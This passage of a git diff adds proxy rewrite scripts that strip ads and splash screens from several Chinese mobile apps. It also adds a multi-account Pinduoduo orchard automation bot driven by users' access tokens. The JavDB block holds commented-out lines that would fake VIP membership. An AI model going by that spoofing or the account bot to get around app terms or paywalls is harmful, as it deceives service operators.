i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +/*****************************************************************************/ diff --git a/Scripts/miguvideo/miguvideo_ads.js b/Scripts/miguvideo/miguvideo_ads.js new file mode 100644 index 00000000..275d5db1 --- /dev/null +++ b/Scripts/miguvideo/miguvideo_ads.js @@ -0,0 +1,42 @@ +/** + * @author fmz200 + * @function 咪咕视频去广告 + * @date 2025-06-27 23:00:00 + */ + +const $ = new Env("咪咕视频去广告"); +let req_url = $request.url; +let rsp_body = "{}"; +if (typeof $response !== 'undefined' && $response !== null) { + rsp_body = $response.body; +} + +let mod_rsp = rsp_body; +try { + mod_rsp = JSON.parse(rsp_body); + + if (req_url.includes("/display/v3/static/PERSONAL_CENTER") && req_url.endsWith("PERSONAL_CENTER")) { + if (mod_rsp.body.groups && Array.isArray(mod_rsp.body.groups)) { + mod_rsp.body.groups = mod_rsp.body.groups.filter(group => { + return !(group.name && group.name.includes("焦点轮播图")); + }); + console.log("去除了焦点轮播❤️"); + } + } + +} catch (error) { + console.log('脚本运行出现错误,部分广告未去除⚠️错误信息:' + error.message); +} + +/* +$done()方法参数说明: + $done(): 不传任何参数,表示放弃该请求,请求连接会直接断开 + $done({}): 空js对象,请求继续,任何请求参数不会有任何变化 + $done({ status:200, headers:{}, body:"xxx" }) + */ +$.done({body: JSON.stringify(mod_rsp)}); + + +/*********************************** ENV *************************************/ +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +/*****************************************************************************/ diff --git a/Scripts/ming.js b/Scripts/ming.js new file mode 100644 index 00000000..df800933 --- /dev/null +++ b/Scripts/ming.js @@ -0,0 +1,3 @@ +let obj = JSON.parse($response.body); +obj.data = []; +$done({body: JSON.stringify(obj)}); \ No newline at end of file diff --git a/Scripts/myBlockAds.js b/Scripts/myBlockAds.js new file mode 100644 index 00000000..3fe01285 --- /dev/null +++ b/Scripts/myBlockAds.js @@ -0,0 +1,230 @@ +// 2024-10-15 10:05 + +const url = $request.url; +const isResp = typeof $response !== "undefined"; +let body = $response.body; + +switch (isResp) { + // 草榴社区-评论区广告 + case /^https:\/\/2023\.redircdn\.com\/web\/mob_post\.js\?/.test(url): + try { + body = body.replace(/spinit\(\)/g, "rucu6()"); + } catch (err) { + console.log(`草榴社区-评论区广告, 出现异常: ` + err); + } + break; + // 嘀嗒出行-开屏广告 + case /^https:\/\/capis(-?\w*)?\.didapinche\.com\/ad\/cx\/startup\?/.test(url): + try { + let obj = JSON.parse(body); + if (obj.hasOwnProperty("startupPages")) { + obj.show_time = 1; + obj.full_screen = 0; + let startupPages = []; + obj.startupPages.forEach((element) => { + element["width"] = 1; + element["height"] = 1; + element["page_url"] = "#"; + startupPages.push(element); + }); + obj.startupPages = startupPages; + } + body = JSON.stringify(obj); + } catch (err) { + console.log(`嘀嗒出行-开屏广告, 出现异常: ` + err); + } + break; + // 多点-开屏广告 + case /^https:\/\/cmsapi\.dmall\.com\/app\/home\/homepageStartUpPic/.test(url): + try { + let obj = JSON.parse(body); + for (let i = 0; i < obj["data"]["welcomePage"].length; i++) { + obj["data"]["welcomePage"][i]["onlineTime"] = 3815740800000; // Unix 时间戳 2090-12-01 00:00:00 + obj["data"]["welcomePage"][i]["offlineTime"] = 3818419199000; // Unix 时间戳 2090-12-31 23:59:59 + } + body = JSON.stringify(obj); + } catch (err) { + console.log(`多点-开屏广告, 出现异常: ` + err); + } + break; + // 联享家-开屏广告 + case /^https:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg/.test(url): + try { + let obj = JSON.parse(body); + obj.seq = "0"; + obj.reqinterval = 0; + delete obj.last_ads; + delete obj.data; + body = JSON.stringify(obj); + } catch (err) { + console.log(`联享家-开屏广告, 出现异常: ` + err); + } + break; + // 淘宝-开屏视频广告 + case /^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.cloudvideo\.video\.query/.test(url): + try { + let obj = JSON.parse(body); + if (obj?.data?.duration) { + obj.data.duration = "0"; + } + if (obj?.data?.resources?.length > 0) { + obj.data.resources = []; + } + if (obj?.data?.caches?.length > 0) { + obj.data.caches = []; + } + if (obj?.data?.respTimeInMs) { + obj.data.respTimeInMs = "3818332800000"; + } + body = JSON.stringify(obj); + } catch (err) { + console.log(`淘宝-开屏视频广告, 出现异常: ` + err); + } + break; + // 淘宝-开屏图片广告 + case /^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.wireless\.home\.splash\.awesome\.get/.test(url): + try { + let obj = JSON.parse(body); + if (obj?.data?.containers?.splash_home_base) { + let splash = obj.data.containers.splash_home_base; + if (splash?.base?.sections?.length > 0) { + for (let items of splash.base.sections) { + if ("taobao-splash" in items.bizData) { + if (items?.bizData?.["taobao-splash"]?.data?.length > 0) { + for (let item of items.bizData["taobao-splash"].data) { + item.waitTime = "0"; + item.times = "0"; + item.hotStart = "false"; + item.haveVoice = "false"; + item.hideTBLogo = "false"; + item.enable4G = "false"; + item.coldStart = "false"; + item.waitTime = "0"; + item.startTime = "3818332800000"; + item.endTime = "3818419199000"; + item.gmtStart = "2090-12-31 00:00:00"; + item.gmtEnd = "2090-12-31 23:59:59"; + item.gmtStartMs = "3818332800000"; + item.gmtEndMs = "3818419199000"; + if (item?.imgUrl) { + item.imgUrl = ""; + } + if (item?.videoUrl) { + item.videoUrl = ""; + } + } + } + } + } + } + } + body = JSON.stringify(obj); + } catch (err) { + console.log(`淘宝-开屏图片广告, 出现异常: ` + err); + } + break; + // 淘宝-开屏活动 + case /^https:\/\/poplayer\.template\.alibaba\.com\/\w+\.json/.test(url): + try { + let obj = JSON.parse(body); + if (obj?.res?.images?.length > 0) { + obj.res.images = []; + } + if (obj?.res?.videos?.length > 0) { + obj.res.videos = []; + } + if (obj?.enable) { + obj.enable = false; + } + if (obj?.mainRes?.images?.length > 0) { + obj.mainRes.images = []; + } + body = JSON.stringify(obj); + } catch (err) { + console.log(`淘宝-开屏活动, 出现异常: ` + err); + } + break; + // 小爱音箱-开屏广告 + case /^https:\/\/hd\.mina\.mi\.com\/splashscreen\/alert/.test(url): + try { + let obj = JSON.parse(body); + let data = []; + for (let i = 0; i < obj.data.length; i++) { + let ad = obj.data[i]; + ad.start = "3818332800000"; + ad.end = "3818419199000"; + ad.stay = 1; + ad.maxTimes = 1; + data.push(ad); + } + obj.data = data; + body = JSON.stringify(obj); + } catch (err) { + console.log(`小爱音箱-开屏广告, 出现异常: ` + err); + } + break; + // 小米商城-开屏广告 + case /^https:\/\/api\.m\.mi\.com\/v1\/app\/start/.test(url): + try { + let obj = JSON.parse(body); + delete obj.data.splash; + if (obj?.data?.skip_splash) { + obj.data.skip_splash = true; + } + body = JSON.stringify(obj); + } catch (err) { + console.log(`小米商城-开屏广告, 出现异常: ` + err); + } + break; + // JavDB + case /^https:\/\/api\.hechuangxinxi\.xyz\/api\/v\d\/\w+/.test(url): + try { + let obj = JSON.parse(body); + if (url.includes("/api/v1/ads")) { + // 首页banner + if (obj?.data?.ads?.index_top?.length > 0) { + // 黑名单 移除http外链 + obj.data.ads.index_top = obj.data.ads.index_top.filter((i) => !/https?:\/\//.test(i?.url)); + } + if (obj?.data?.ads?.web_magnets_top?.length > 0) { + // 黑名单 移除http外链 + obj.data.ads.web_magnets_top = obj.data.ads.web_magnets_top.filter((i) => !/https?:\/\//.test(i?.url)); + } + } else if (url.includes("/api/v1/startup")) { + // 开屏广告 + delete obj.data.settings.NOTICE; // 首次进入的提示 + if (obj?.data?.splash_ad) { + obj.data.splash_ad.enabled = false; + obj.data.splash_ad.overtime = 0; + } + if (obj?.data?.feedback) { + obj.data.feedback = {}; + } + if (obj?.data?.user) { + // obj.data.user.vip_expired_at = "2090-12-31T23:59:59.000+08:00"; + // obj.data.user.is_vip = true; + } + } else if (url.includes("/api/v1/users")) { + // 伪装会员 + if (obj?.data?.user) { + // obj.data.user.vip_expired_at = "2090-12-31T23:59:59.000+08:00"; + // obj.data.user.is_vip = true; + } + } else if (url.includes("/api/v4/movies/")) { + // 详情页banner + if (obj?.data?.show_vip_banner) { + obj.data.show_vip_banner = false; + } + } else { + $done({}); + } + body = JSON.stringify(obj); + } catch (err) { + console.log(`JavDB, 出现异常: ` + err); + } + break; + default: + $done({}); +} + +$done({ body }); diff --git a/Scripts/picc/picc_ads.js b/Scripts/picc/picc_ads.js new file mode 100644 index 00000000..3ad1dd01 --- /dev/null +++ b/Scripts/picc/picc_ads.js @@ -0,0 +1,23 @@ +/** + * @author Sliverkiss + * @function 中国人保app 去广告 + * @date 2024-02-18 18:18:00 + */ + +const Body = JSON.parse($response.body); +const url = $request.url; + +const actions = { + 'homeInit': () => { + Body.data.startupPage = {}; + Body.data.templates = Body.data.templates.filter(e => !e.name.match(/主轮播图|保险推荐|专享|腰封轮播图|浮标配置|二楼营销位|首页主题/)); + }, + 'myPageConfigList': () => { + Body.data.YFList = []; + } +}; + +const actionKey = Object.keys(actions).find(key => url.includes(key)); +actions[actionKey]?.(); + +$done({body: JSON.stringify(Body)}); \ No newline at end of file diff --git a/Scripts/pinduoduo/pdd_fruit.js b/Scripts/pinduoduo/pdd_fruit.js new file mode 100644 index 00000000..d070500f --- /dev/null +++ b/Scripts/pinduoduo/pdd_fruit.js @@ -0,0 +1,361 @@ +/* +[task_local] +# 拼多多果园-小程序 +15 8 * * * pddFruit.js, tag=拼多多果园-小程序, enabled=true +搜mobile.yangkeduo.com,请求头的AccessToken,设置PDD_TOKENS 多账号@分割 +*/ +const $ = new Env('拼多多果园-小程序'); +// const notify = $.isNode() ? require('./sendNotifySp') : ''; +$.shareWids = [] +$.lackCardIds = [] +$.giftRecords = [] +$.lackMsg = '' +$.helpFlag = true // 获取助力码 +$.taskList = [36155, 36164, 36125, 37464, 37509, 36013, 36007, 36167, 36132] +if (process.env.PDD_TOKENS) { + if (process.env.PDD_TOKENS.indexOf('@') > -1) { + cookieArr = process.env.PDD_TOKENS.split('@'); + } else if (process.env.PDD_TOKENS.indexOf('\n') > -1) { + cookieArr = process.env.PDD_TOKENS.split('\n'); + } else { + cookieArr = [process.env.PDD_TOKENS]; + } +} else { + console.log('未发现有效Cookie,请填写PDD_TOKENS!') + return +} + +console.log(`\n==========共发现${cookieArr.length}个账号==========\n`) +$.index = 0 +$.message = '' +!(async () => { + for (let i = 0; i < cookieArr.length; i++) { + cookie = cookieArr[i] + $.redualWater = 0 + $.stealStatus = true + if (cookie.indexOf('&') > -1) { + $.accessToken = cookie.split('&')[0] + $.remark = cookie.split('&')[1] + } else { + $.accessToken = cookie + $.remark = '匿名用户' + } + console.log(`\n🔄 当前进行第${i + 1}个账号,用户备注:${$.remark}`) + await missionList() + for (let missionKey in $.missionList) { + if ($.taskList.indexOf(missionKey) == -1) { + $.taskList.push(missionKey) + } + } + await reward() + console.log(`\n========常规任务=========`) + for (let missionKey of $.taskList) { + $.taskType = missionKey + console.log(`🎯 去完成任务${$.taskType}`) + await completeMission() + } + console.log(`\n========打卡任务=========`) + await applyActivity() + // console.log(`🎯 开始获取好友列表`) + // await getFriends() + // if ($.friendList.length > 0) { + // for (let friendInfo of $.friendList) { + // let isSteal = friendInfo.steal_water_status == null ? false : true + // $.stealedName = friendInfo.nickname + // $.friendUid = friendInfo.uid + // if (isSteal === true) await stealWater() + // if ($.stealStatus === false) { + // break + // } + // await $.wait(1000) + // } + // } + console.log(`\n========开宝箱任务=========`) + for (let z = 1; z < 6; z++) { + $.boxOrder = z + await openBox() + } + console.log(`\n========浇水任务=========`) + await water() + if ($.redualWater > 10) { + $.waterTimes = parseInt($.redualWater / 10, 10) + for (let j = 0; j < $.waterTimes; j++) { + await water() + await $.wait(1000) + } + } + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function missionList() { + let url = 'https://mobile.yangkeduo.com/proxy/api/api/manor-query/tag/mission/list?pdduid=0' + let body = { + "mission_tag": "HOME_GAIN_WATER_MISSION_LIST_EXTRA", + "fun_pl": 10, + "tubetoken": "" + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dataObj = JSON.parse(data) + if (dataObj.error_code != null) { + console.log("💥 